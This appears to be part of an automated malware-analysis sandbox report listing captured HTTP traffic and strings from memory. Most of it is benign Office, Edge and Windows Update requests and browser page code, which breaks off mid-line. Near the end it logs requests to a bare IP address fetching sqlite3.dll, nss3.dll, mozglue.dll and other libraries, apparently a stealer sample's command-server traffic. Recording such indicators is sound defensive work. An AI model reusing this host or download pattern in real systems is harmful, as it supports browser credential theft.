Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730682454&P2=404&P3=2&P4=W5omdFBl8Ldl1G8O1otkyy0ZMY66RpOwO5eeoNvvIIeODdHo0qSOFuOoxriNRFfXio3xOjF%2baC3Ay1ZfuF4LBA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: y33nZorj327lX5f35zVkKESec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fCffmR9T6p46NmN&MD=ZeOoucls HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 19a89869-2a90-4868-82ed-919469571254.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.2266976526.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2267376931.0000716C031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2267410075.0000716C03198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px 